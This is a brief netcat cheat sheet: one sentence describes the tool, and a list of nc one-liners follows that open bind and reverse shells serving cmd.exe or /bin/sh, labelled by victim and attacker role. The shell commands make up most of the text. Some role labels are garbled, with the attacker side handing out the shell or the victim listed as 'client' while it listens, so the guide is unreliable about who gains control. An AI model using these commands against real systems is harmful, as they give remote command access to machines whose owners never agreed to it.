Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. The command is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts.
nc -lvp 4444 -e cmd.exe (Victim as server)
nc -nv ip port (attacker as client)
nc -lvp 4444 -e /bin/sh (Victim as server)
nc -nv ip port (attacker as client)
nc -lvp port (Victim as client)
nc -nv ip port -e cmd.exe (attacker as server)
nc -lvp port (Victim as server)
nc -nv ip port -e /bin/sh (attacker as client)